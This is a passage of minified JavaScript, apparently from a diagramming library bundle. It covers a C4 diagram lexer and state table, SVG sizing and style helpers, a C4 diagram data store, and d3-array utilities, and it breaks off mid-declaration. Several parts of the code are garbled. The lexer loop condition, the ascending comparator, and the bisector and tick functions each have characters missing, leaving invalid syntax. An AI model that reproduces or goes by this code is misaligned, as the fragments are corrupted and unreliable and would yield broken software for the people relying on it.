this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:Ne?(Ne.length===Ce.length?this.yylloc.first_column:0)+Ce[Ce.length-Ne.length].length-Ne[0].length:this.yylloc.first_column-Ie},this.options.ranges&&(this.yylloc.range=[Fe[0],Fe[0]+this.yyleng-Ie]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Le){this.unput(this.match.slice(Le))},"less"),pastInput:o(function(){var Le=this.matched.substr(0,this.matched.length-this.match.length);return(Le.length>20?"...":"")+Le.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Le=this.match;return Le.length<20&&(Le+=this._input.substr(0,20-Le.length)),(Le.substr(0,20)+(Le.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Le=this.pastInput(),Ie=new Array(Le.length+1).join("-");return Le+this.upcomingInput()+` +`+Ie+"^"},"showPosition"),test_match:o(function(Le,Ie){var Ne,Ce,Fe;if(this.options.backtrack_lexer&&(Fe={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Fe.yylloc.range=this.yylloc.range.slice(0))),Ce=Le[0].match(/(?:\r\n?|\n).*/g),Ce&&(this.yylineno+=Ce.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:Ce?Ce[Ce.length-1].length-Ce[Ce.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Le[0].length},this.yytext+=Le[0],this.match+=Le[0],this.matches=Le,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Le[0].length),this.matched+=Le[0],Ne=this.performAction.call(this,this.yy,this,Ie,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),Ne)return Ne;if(this._backtrack){for(var fe in Fe)this[fe]=Fe[fe];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Le,Ie,Ne,Ce;this._more||(this.yytext="",this.match="");for(var Fe=this._currentRules(),fe=0;feIe[0].length)){if(Ie=Ne,Ce=fe,this.options.backtrack_lexer){if(Le=this.test_match(Ne,Fe[fe]),Le!==!1)return Le;if(this._backtrack){Ie=!1;continue}else return!1}else if(!this.options.flex)break}return Ie?(Le=this.test_match(Ie,Fe[Ce]),Le!==!1?Le:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Ie=this.next();return Ie||this.lex()},"lex"),begin:o(function(Ie){this.conditionStack.push(Ie)},"begin"),popState:o(function(){var Ie=this.conditionStack.length-1;return Ie>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Ie){return Ie=this.conditionStack.length-1-Math.abs(Ie||0),Ie>=0?this.conditionStack[Ie]:"INITIAL"},"topState"),pushState:o(function(Ie){this.begin(Ie)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(Ie,Ne,Ce,Fe){var fe=Fe;switch(Ce){case 0:return 6;case 1:return 7;case 2:return 8;case 3:return 9;case 4:return 22;case 5:return 23;case 6:return this.begin("acc_title"),24;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),26;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:break;case 14:c;break;case 15:return 12;case 16:break;case 17:return 11;case 18:return 15;case 19:return 16;case 20:return 17;case 21:return 18;case 22:return this.begin("person_ext"),45;break;case 23:return this.begin("person"),44;break;case 24:return this.begin("system_ext_queue"),51;break;case 25:return this.begin("system_ext_db"),50;break;case 26:return this.begin("system_ext"),49;break;case 27:return this.begin("system_queue"),48;break;case 28:return this.begin("system_db"),47;break;case 29:return this.begin("system"),46;break;case 30:return this.begin("boundary"),37;break;case 31:return this.begin("enterprise_boundary"),34;break;case 32:return this.begin("system_boundary"),36;break;case 33:return this.begin("container_ext_queue"),57;break;case 34:return this.begin("container_ext_db"),56;break;case 35:return this.begin("container_ext"),55;break;case 36:return this.begin("container_queue"),54;break;case 37:return this.begin("container_db"),53;break;case 38:return this.begin("container"),52;break;case 39:return this.begin("container_boundary"),38;break;case 40:return this.begin("component_ext_queue"),63;break;case 41:return this.begin("component_ext_db"),62;break;case 42:return this.begin("component_ext"),61;break;case 43:return this.begin("component_queue"),60;break;case 44:return this.begin("component_db"),59;break;case 45:return this.begin("component"),58;break;case 46:return this.begin("node"),39;break;case 47:return this.begin("node"),39;break;case 48:return this.begin("node_l"),40;break;case 49:return this.begin("node_r"),41;break;case 50:return this.begin("rel"),64;break;case 51:return this.begin("birel"),65;break;case 52:return this.begin("rel_u"),66;break;case 53:return this.begin("rel_u"),66;break;case 54:return this.begin("rel_d"),67;break;case 55:return this.begin("rel_d"),67;break;case 56:return this.begin("rel_l"),68;break;case 57:return this.begin("rel_l"),68;break;case 58:return this.begin("rel_r"),69;break;case 59:return this.begin("rel_r"),69;break;case 60:return this.begin("rel_b"),70;break;case 61:return this.begin("rel_index"),71;break;case 62:return this.begin("update_el_style"),72;break;case 63:return this.begin("update_rel_style"),73;break;case 64:return this.begin("update_layout_config"),74;break;case 65:return"EOF_IN_STRUCT";case 66:return this.begin("attribute"),"ATTRIBUTE_EMPTY";break;case 67:this.begin("attribute");break;case 68:this.popState(),this.popState();break;case 69:return 80;case 70:break;case 71:return 80;case 72:this.begin("string");break;case 73:this.popState();break;case 74:return"STR";case 75:this.begin("string_kv");break;case 76:return this.begin("string_kv_key"),"STR_KEY";break;case 77:this.popState(),this.begin("string_kv_value");break;case 78:return"STR_VALUE";case 79:this.popState(),this.popState();break;case 80:return"STR";case 81:return"LBRACE";case 82:return"RBRACE";case 83:return"SPACE";case 84:return"EOL";case 85:return 14}},"anonymous"),rules:[/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:title\s[^#\n;]+)/,/^(?:accDescription\s[^#\n;]+)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:C4Context\b)/,/^(?:C4Container\b)/,/^(?:C4Component\b)/,/^(?:C4Dynamic\b)/,/^(?:C4Deployment\b)/,/^(?:Person_Ext\b)/,/^(?:Person\b)/,/^(?:SystemQueue_Ext\b)/,/^(?:SystemDb_Ext\b)/,/^(?:System_Ext\b)/,/^(?:SystemQueue\b)/,/^(?:SystemDb\b)/,/^(?:System\b)/,/^(?:Boundary\b)/,/^(?:Enterprise_Boundary\b)/,/^(?:System_Boundary\b)/,/^(?:ContainerQueue_Ext\b)/,/^(?:ContainerDb_Ext\b)/,/^(?:Container_Ext\b)/,/^(?:ContainerQueue\b)/,/^(?:ContainerDb\b)/,/^(?:Container\b)/,/^(?:Container_Boundary\b)/,/^(?:ComponentQueue_Ext\b)/,/^(?:ComponentDb_Ext\b)/,/^(?:Component_Ext\b)/,/^(?:ComponentQueue\b)/,/^(?:ComponentDb\b)/,/^(?:Component\b)/,/^(?:Deployment_Node\b)/,/^(?:Node\b)/,/^(?:Node_L\b)/,/^(?:Node_R\b)/,/^(?:Rel\b)/,/^(?:BiRel\b)/,/^(?:Rel_Up\b)/,/^(?:Rel_U\b)/,/^(?:Rel_Down\b)/,/^(?:Rel_D\b)/,/^(?:Rel_Left\b)/,/^(?:Rel_L\b)/,/^(?:Rel_Right\b)/,/^(?:Rel_R\b)/,/^(?:Rel_Back\b)/,/^(?:RelIndex\b)/,/^(?:UpdateElementStyle\b)/,/^(?:UpdateRelStyle\b)/,/^(?:UpdateLayoutConfig\b)/,/^(?:$)/,/^(?:[(][ ]*[,])/,/^(?:[(])/,/^(?:[)])/,/^(?:,,)/,/^(?:,)/,/^(?:[ ]*["]["])/,/^(?:[ ]*["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:[ ]*[\$])/,/^(?:[^=]*)/,/^(?:[=][ ]*["])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:[^,]+)/,/^(?:\{)/,/^(?:\})/,/^(?:[\s]+)/,/^(?:[\n\r]+)/,/^(?:$)/],conditions:{acc_descr_multiline:{rules:[11,12],inclusive:!1},acc_descr:{rules:[9],inclusive:!1},acc_title:{rules:[7],inclusive:!1},string_kv_value:{rules:[78,79],inclusive:!1},string_kv_key:{rules:[77],inclusive:!1},string_kv:{rules:[76],inclusive:!1},string:{rules:[73,74],inclusive:!1},attribute:{rules:[68,69,70,71,72,75,80],inclusive:!1},update_layout_config:{rules:[65,66,67,68],inclusive:!1},update_rel_style:{rules:[65,66,67,68],inclusive:!1},update_el_style:{rules:[65,66,67,68],inclusive:!1},rel_b:{rules:[65,66,67,68],inclusive:!1},rel_r:{rules:[65,66,67,68],inclusive:!1},rel_l:{rules:[65,66,67,68],inclusive:!1},rel_d:{rules:[65,66,67,68],inclusive:!1},rel_u:{rules:[65,66,67,68],inclusive:!1},rel_bi:{rules:[],inclusive:!1},rel:{rules:[65,66,67,68],inclusive:!1},node_r:{rules:[65,66,67,68],inclusive:!1},node_l:{rules:[65,66,67,68],inclusive:!1},node:{rules:[65,66,67,68],inclusive:!1},index:{rules:[],inclusive:!1},rel_index:{rules:[65,66,67,68],inclusive:!1},component_ext_queue:{rules:[],inclusive:!1},component_ext_db:{rules:[65,66,67,68],inclusive:!1},component_ext:{rules:[65,66,67,68],inclusive:!1},component_queue:{rules:[65,66,67,68],inclusive:!1},component_db:{rules:[65,66,67,68],inclusive:!1},component:{rules:[65,66,67,68],inclusive:!1},container_boundary:{rules:[65,66,67,68],inclusive:!1},container_ext_queue:{rules:[65,66,67,68],inclusive:!1},container_ext_db:{rules:[65,66,67,68],inclusive:!1},container_ext:{rules:[65,66,67,68],inclusive:!1},container_queue:{rules:[65,66,67,68],inclusive:!1},container_db:{rules:[65,66,67,68],inclusive:!1},container:{rules:[65,66,67,68],inclusive:!1},birel:{rules:[65,66,67,68],inclusive:!1},system_boundary:{rules:[65,66,67,68],inclusive:!1},enterprise_boundary:{rules:[65,66,67,68],inclusive:!1},boundary:{rules:[65,66,67,68],inclusive:!1},system_ext_queue:{rules:[65,66,67,68],inclusive:!1},system_ext_db:{rules:[65,66,67,68],inclusive:!1},system_ext:{rules:[65,66,67,68],inclusive:!1},system_queue:{rules:[65,66,67,68],inclusive:!1},system_db:{rules:[65,66,67,68],inclusive:!1},system:{rules:[65,66,67,68],inclusive:!1},person_ext:{rules:[65,66,67,68],inclusive:!1},person:{rules:[65,66,67,68],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,8,10,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,81,82,83,84,85],inclusive:!0}}};return He})();pe.lexer=Be;function Ye(){this.yy={}}return o(Ye,"Parser"),Ye.prototype=pe,pe.Parser=Ye,new Ye})();tv.parser=tv;nH=tv});var Xwe,jwe,mn,ic,Ei=N(()=>{"use strict";pt();Xwe=o(function(t,e){for(let r of e)t.attr(r[0],r[1])},"d3Attrs"),jwe=o(function(t,e,r){let n=new Map;return r?(n.set("width","100%"),n.set("style",`max-width: ${e}px;`)):(n.set("height",t),n.set("width",e)),n},"calculateSvgSizeAttrs"),mn=o(function(t,e,r,n){let i=jwe(e,r,n);Xwe(t,i)},"configureSvgSize"),ic=o(function(t,e,r,n){let i=e.node().getBBox(),a=i.width,s=i.height;X.info(`SVG bounds: ${a}x${s}`,i);let l=0,u=0;X.info(`Graph bounds: ${l}x${u}`,t),l=a+r*2,u=s+r*2,X.info(`Calculated bounds: ${l}x${u}`),mn(e,u,l,n);let h=`${i.x-r} ${i.y-r} ${i.width+2*r} ${i.height+2*r}`;e.attr("viewBox",h)},"setupGraphViewbox")});var $3,Kwe,iH,aH,NA=N(()=>{"use strict";pt();$3={},Kwe=o((t,e,r)=>{let n="";return t in $3&&$3[t]?n=$3[t](r):X.warn(`No theme found for ${t}`),` & { + font-family: ${r.fontFamily}; + font-size: ${r.fontSize}; + fill: ${r.textColor} + } + @keyframes edge-animation-frame { + from { + stroke-dashoffset: 0; + } + } + @keyframes dash { + to { + stroke-dashoffset: 0; + } + } + & .edge-animation-slow { + stroke-dasharray: 9,5 !important; + stroke-dashoffset: 900; + animation: dash 50s linear infinite; + stroke-linecap: round; + } + & .edge-animation-fast { + stroke-dasharray: 9,5 !important; + stroke-dashoffset: 900; + animation: dash 20s linear infinite; + stroke-linecap: round; + } + /* Classes common for multiple diagrams */ + + & .error-icon { + fill: ${r.errorBkgColor}; + } + & .error-text { + fill: ${r.errorTextColor}; + stroke: ${r.errorTextColor}; + } + + & .edge-thickness-normal { + stroke-width: 1px; + } + & .edge-thickness-thick { + stroke-width: 3.5px + } + & .edge-pattern-solid { + stroke-dasharray: 0; + } + & .edge-thickness-invisible { + stroke-width: 0; + fill: none; + } + & .edge-pattern-dashed{ + stroke-dasharray: 3; + } + .edge-pattern-dotted { + stroke-dasharray: 2; + } + + & .marker { + fill: ${r.lineColor}; + stroke: ${r.lineColor}; + } + & .marker.cross { + stroke: ${r.lineColor}; + } + + & svg { + font-family: ${r.fontFamily}; + font-size: ${r.fontSize}; + } + & p { + margin: 0 + } + + ${n} + + ${e} +`},"getStyles"),iH=o((t,e)=>{e!==void 0&&($3[t]=e)},"addStylesForDiagram"),aH=Kwe});var rv={};dr(rv,{clear:()=>Sr,getAccDescription:()=>Or,getAccTitle:()=>Mr,getDiagramTitle:()=>Pr,setAccDescription:()=>Ir,setAccTitle:()=>Rr,setDiagramTitle:()=>$r});var MA,IA,OA,PA,Sr,Rr,Mr,Ir,Or,$r,Pr,ci=N(()=>{"use strict";gr();qn();MA="",IA="",OA="",PA=o(t=>sr(t,Qt()),"sanitizeText"),Sr=o(()=>{MA="",OA="",IA=""},"clear"),Rr=o(t=>{MA=PA(t).replace(/^\s+/g,"")},"setAccTitle"),Mr=o(()=>MA,"getAccTitle"),Ir=o(t=>{OA=PA(t).replace(/\n\s+/g,` +`)},"setAccDescription"),Or=o(()=>OA,"getAccDescription"),$r=o(t=>{IA=PA(t)},"setDiagramTitle"),Pr=o(()=>IA,"getDiagramTitle")});var sH,Qwe,ge,nv,G3,iv,FA,Zwe,z3,xd,av,BA,Xt=N(()=>{"use strict";vd();pt();qn();gr();Ei();NA();ci();sH=X,Qwe=Dy,ge=Qt,nv=n3,G3=gh,iv=o(t=>sr(t,ge()),"sanitizeText"),FA=ic,Zwe=o(()=>rv,"getCommonDb"),z3={},xd=o((t,e,r)=>{z3[t]&&sH.warn(`Diagram with id ${t} already registered. Overwriting.`),z3[t]=e,r&&LA(t,r),iH(t,e.styles),e.injectUtils?.(sH,Qwe,ge,iv,FA,Zwe(),()=>{})},"registerDiagram"),av=o(t=>{if(t in z3)return z3[t];throw new BA(t)},"getDiagram"),BA=class extends Error{static{o(this,"DiagramNotFoundError")}constructor(e){super(`Diagram ${e} not found.`)}}});var ml,Eh,ns,pl,ac,sv,$A,zA,V3,U3,oH,Jwe,eke,tke,rke,nke,ike,ake,ske,oke,lke,cke,uke,hke,fke,dke,pke,mke,lH,gke,yke,cH,vke,xke,bke,Tke,Sh,wke,kke,Eke,Ske,Cke,ov,GA=N(()=>{"use strict";Xt();gr();ci();ml=[],Eh=[""],ns="global",pl="",ac=[{alias:"global",label:{text:"global"},type:{text:"global"},tags:null,link:null,parentBoundary:""}],sv=[],$A="",zA=!1,V3=4,U3=2,Jwe=o(function(){return oH},"getC4Type"),eke=o(function(t){oH=sr(t,ge())},"setC4Type"),tke=o(function(t,e,r,n,i,a,s,l,u){if(t==null||e===void 0||e===null||r===void 0||r===null||n===void 0||n===null)return;let h={},f=sv.find(d=>d.from===e&&d.to===r);if(f?h=f:sv.push(h),h.type=t,h.from=e,h.to=r,h.label={text:n},i==null)h.techn={text:""};else if(typeof i=="object"){let[d,p]=Object.entries(i)[0];h[d]={text:p}}else h.techn={text:i};if(a==null)h.descr={text:""};else if(typeof a=="object"){let[d,p]=Object.entries(a)[0];h[d]={text:p}}else h.descr={text:a};if(typeof s=="object"){let[d,p]=Object.entries(s)[0];h[d]=p}else h.sprite=s;if(typeof l=="object"){let[d,p]=Object.entries(l)[0];h[d]=p}else h.tags=l;if(typeof u=="object"){let[d,p]=Object.entries(u)[0];h[d]=p}else h.link=u;h.wrap=Sh()},"addRel"),rke=o(function(t,e,r,n,i,a,s){if(e===null||r===null)return;let l={},u=ml.find(h=>h.alias===e);if(u&&e===u.alias?l=u:(l.alias=e,ml.push(l)),r==null?l.label={text:""}:l.label={text:r},n==null)l.descr={text:""};else if(typeof n=="object"){let[h,f]=Object.entries(n)[0];l[h]={text:f}}else l.descr={text:n};if(typeof i=="object"){let[h,f]=Object.entries(i)[0];l[h]=f}else l.sprite=i;if(typeof a=="object"){let[h,f]=Object.entries(a)[0];l[h]=f}else l.tags=a;if(typeof s=="object"){let[h,f]=Object.entries(s)[0];l[h]=f}else l.link=s;l.typeC4Shape={text:t},l.parentBoundary=ns,l.wrap=Sh()},"addPersonOrSystem"),nke=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ml.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ml.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.techn={text:""};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.techn={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof a=="object"){let[f,d]=Object.entries(a)[0];u[f]=d}else u.sprite=a;if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.wrap=Sh(),u.typeC4Shape={text:t},u.parentBoundary=ns},"addContainer"),ike=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ml.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ml.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.techn={text:""};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.techn={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof a=="object"){let[f,d]=Object.entries(a)[0];u[f]=d}else u.sprite=a;if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.wrap=Sh(),u.typeC4Shape={text:t},u.parentBoundary=ns},"addComponent"),ake=o(function(t,e,r,n,i){if(t===null||e===null)return;let a={},s=ac.find(l=>l.alias===t);if(s&&t===s.alias?a=s:(a.alias=t,ac.push(a)),e==null?a.label={text:""}:a.label={text:e},r==null)a.type={text:"system"};else if(typeof r=="object"){let[l,u]=Object.entries(r)[0];a[l]={text:u}}else a.type={text:r};if(typeof n=="object"){let[l,u]=Object.entries(n)[0];a[l]=u}else a.tags=n;if(typeof i=="object"){let[l,u]=Object.entries(i)[0];a[l]=u}else a.link=i;a.parentBoundary=ns,a.wrap=Sh(),pl=ns,ns=t,Eh.push(pl)},"addPersonOrSystemBoundary"),ske=o(function(t,e,r,n,i){if(t===null||e===null)return;let a={},s=ac.find(l=>l.alias===t);if(s&&t===s.alias?a=s:(a.alias=t,ac.push(a)),e==null?a.label={text:""}:a.label={text:e},r==null)a.type={text:"container"};else if(typeof r=="object"){let[l,u]=Object.entries(r)[0];a[l]={text:u}}else a.type={text:r};if(typeof n=="object"){let[l,u]=Object.entries(n)[0];a[l]=u}else a.tags=n;if(typeof i=="object"){let[l,u]=Object.entries(i)[0];a[l]=u}else a.link=i;a.parentBoundary=ns,a.wrap=Sh(),pl=ns,ns=t,Eh.push(pl)},"addContainerBoundary"),oke=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ac.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ac.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.type={text:"node"};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.type={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.nodeType=t,u.parentBoundary=ns,u.wrap=Sh(),pl=ns,ns=e,Eh.push(pl)},"addDeploymentNode"),lke=o(function(){ns=pl,Eh.pop(),pl=Eh.pop(),Eh.push(pl)},"popBoundaryParseStack"),cke=o(function(t,e,r,n,i,a,s,l,u,h,f){let d=ml.find(p=>p.alias===e);if(!(d===void 0&&(d=ac.find(p=>p.alias===e),d===void 0))){if(r!=null)if(typeof r=="object"){let[p,m]=Object.entries(r)[0];d[p]=m}else d.bgColor=r;if(n!=null)if(typeof n=="object"){let[p,m]=Object.entries(n)[0];d[p]=m}else d.fontColor=n;if(i!=null)if(typeof i=="object"){let[p,m]=Object.entries(i)[0];d[p]=m}else d.borderColor=i;if(a!=null)if(typeof a=="object"){let[p,m]=Object.entries(a)[0];d[p]=m}else d.shadowing=a;if(s!=null)if(typeof s=="object"){let[p,m]=Object.entries(s)[0];d[p]=m}else d.shape=s;if(l!=null)if(typeof l=="object"){let[p,m]=Object.entries(l)[0];d[p]=m}else d.sprite=l;if(u!=null)if(typeof u=="object"){let[p,m]=Object.entries(u)[0];d[p]=m}else d.techn=u;if(h!=null)if(typeof h=="object"){let[p,m]=Object.entries(h)[0];d[p]=m}else d.legendText=h;if(f!=null)if(typeof f=="object"){let[p,m]=Object.entries(f)[0];d[p]=m}else d.legendSprite=f}},"updateElStyle"),uke=o(function(t,e,r,n,i,a,s){let l=sv.find(u=>u.from===e&&u.to===r);if(l!==void 0){if(n!=null)if(typeof n=="object"){let[u,h]=Object.entries(n)[0];l[u]=h}else l.textColor=n;if(i!=null)if(typeof i=="object"){let[u,h]=Object.entries(i)[0];l[u]=h}else l.lineColor=i;if(a!=null)if(typeof a=="object"){let[u,h]=Object.entries(a)[0];l[u]=parseInt(h)}else l.offsetX=parseInt(a);if(s!=null)if(typeof s=="object"){let[u,h]=Object.entries(s)[0];l[u]=parseInt(h)}else l.offsetY=parseInt(s)}},"updateRelStyle"),hke=o(function(t,e,r){let n=V3,i=U3;if(typeof e=="object"){let a=Object.values(e)[0];n=parseInt(a)}else n=parseInt(e);if(typeof r=="object"){let a=Object.values(r)[0];i=parseInt(a)}else i=parseInt(r);n>=1&&(V3=n),i>=1&&(U3=i)},"updateLayoutConfig"),fke=o(function(){return V3},"getC4ShapeInRow"),dke=o(function(){return U3},"getC4BoundaryInRow"),pke=o(function(){return ns},"getCurrentBoundaryParse"),mke=o(function(){return pl},"getParentBoundaryParse"),lH=o(function(t){return t==null?ml:ml.filter(e=>e.parentBoundary===t)},"getC4ShapeArray"),gke=o(function(t){return ml.find(e=>e.alias===t)},"getC4Shape"),yke=o(function(t){return Object.keys(lH(t))},"getC4ShapeKeys"),cH=o(function(t){return t==null?ac:ac.filter(e=>e.parentBoundary===t)},"getBoundaries"),vke=cH,xke=o(function(){return sv},"getRels"),bke=o(function(){return $A},"getTitle"),Tke=o(function(t){zA=t},"setWrap"),Sh=o(function(){return zA},"autoWrap"),wke=o(function(){ml=[],ac=[{alias:"global",label:{text:"global"},type:{text:"global"},tags:null,link:null,parentBoundary:""}],pl="",ns="global",Eh=[""],sv=[],Eh=[""],$A="",zA=!1,V3=4,U3=2},"clear"),kke={SOLID:0,DOTTED:1,NOTE:2,SOLID_CROSS:3,DOTTED_CROSS:4,SOLID_OPEN:5,DOTTED_OPEN:6,LOOP_START:10,LOOP_END:11,ALT_START:12,ALT_ELSE:13,ALT_END:14,OPT_START:15,OPT_END:16,ACTIVE_START:17,ACTIVE_END:18,PAR_START:19,PAR_AND:20,PAR_END:21,RECT_START:22,RECT_END:23,SOLID_POINT:24,DOTTED_POINT:25},Eke={FILLED:0,OPEN:1},Ske={LEFTOF:0,RIGHTOF:1,OVER:2},Cke=o(function(t){$A=sr(t,ge())},"setTitle"),ov={addPersonOrSystem:rke,addPersonOrSystemBoundary:ake,addContainer:nke,addContainerBoundary:ske,addComponent:ike,addDeploymentNode:oke,popBoundaryParseStack:lke,addRel:tke,updateElStyle:cke,updateRelStyle:uke,updateLayoutConfig:hke,autoWrap:Sh,setWrap:Tke,getC4ShapeArray:lH,getC4Shape:gke,getC4ShapeKeys:yke,getBoundaries:cH,getBoundarys:vke,getCurrentBoundaryParse:pke,getParentBoundaryParse:mke,getRels:xke,getTitle:bke,getC4Type:Jwe,getC4ShapeInRow:fke,getC4BoundaryInRow:dke,setAccTitle:Rr,getAccTitle:Mr,getAccDescription:Or,setAccDescription:Ir,getConfig:o(()=>ge().c4,"getConfig"),clear:wke,LINETYPE:kke,ARROWTYPE:Eke,PLACEMENT:Ske,setTitle:Cke,setC4Type:eke}});function bd(t,e){return t==null||e==null?NaN:te?1:t>=e?0:NaN}var VA=N(()=>{"use strict";o(bd,"ascending")});function UA(t,e){return t==null||e==null?NaN:et?1:e>=t?0:NaN}var uH=N(()=>{"use strict";o(UA,"descending")});function Td(t){let e,r,n;t.length!==2?(e=bd,r=o((l,u)=>bd(t(l),u),"compare2"),n=o((l,u)=>t(l)-u,"delta")):(e=t===bd||t===UA?t:Ake,r=t,n=t);function i(l,u,h=0,f=l.length){if(h>>1;r(l[d],u)<0?h=d+1:f=d}while(h>>1;r(l[d],u)<=0?h=d+1:f=d}while(hh&&n(l[d-1],u)>-n(l[d],u)?d-1:d}return o(s,"center"),{left:i,center:s,right:a}}function Ake(){return 0}var HA=N(()=>{"use strict";VA();uH();o(Td,"bisector");o(Ake,"zero")});function qA(t){return t===null?NaN:+t}var hH=N(()=>{"use strict";o(qA,"number")});var fH,dH,_ke,Dke,WA,pH=N(()=>{"use strict";VA();HA();hH();fH=Td(bd),dH=fH.right,_ke=fH.left,Dke=Td(qA).center,WA=dH});function mH({_intern:t,_key:e},r){let n=e(r);return t.has(n)?t.get(n):r}function Lke({_intern:t,_key:e},r){let n=e(r);return t.has(n)?t.get(n):(t.set(n,r),r)}function Rke({_intern:t,_key:e},r){let n=e(r);return t.has(n)&&(r=t.get(n),t.delete(n)),r}function Nke(t){return t!==null&&typeof t=="object"?t.valueOf():t}var D0,gH=N(()=>{"use strict";D0=class extends Map{static{o(this,"InternMap")}constructor(e,r=Nke){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:r}}),e!=null)for(let[n,i]of e)this.set(n,i)}get(e){return super.get(mH(this,e))}has(e){return super.has(mH(this,e))}set(e,r){return super.set(Lke(this,e),r)}delete(e){return super.delete(Rke(this,e))}};o(mH,"intern_get");o(Lke,"intern_set");o(Rke,"intern_delete");o(Nke,"keyof")});function H3(t,e,r){let n=(e-t)/Math.max(0,r),i=Math.floor(Math.log10(n)),a=n/Math.pow(10,i),s=a>=Mke?10:a>=Ike?5:a>=Oke?2:1,l,u,h;return i<0?(h=Math.pow(10,-i)/s,l=Math.round(t*h),u=Math.round(e*h),l/he&&--u,h=-h):(h=Math.pow(10,i)*s,l=Math.round(t/h),u=Math.round(e/h),l*he&&--u),u0))return[];if(t===e)return[t];let n=e=i))return[];let l=a-i+1,u=new Array(l);if(n)if(s<0)for(let h=0;h{"use strict";Mke=Math.sqrt(50),Ike=Math.sqrt(10),Oke=Math.sqrt(2);o(H3,"tickSpec");o(q3,"ticks");o(lv,"tickIncrement");o(L0,"tickStep")});function W3(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r=i)&&(r=i)}return r}var vH=N(()=>{"use strict";o(W3,"max")});function Y3(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r>n||r===void 0&&n>=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r>i||r===void 0&&i>=i)&&(r=i)}return r}var xH=N(()=>{"use strict";o(Y3,"min")});function 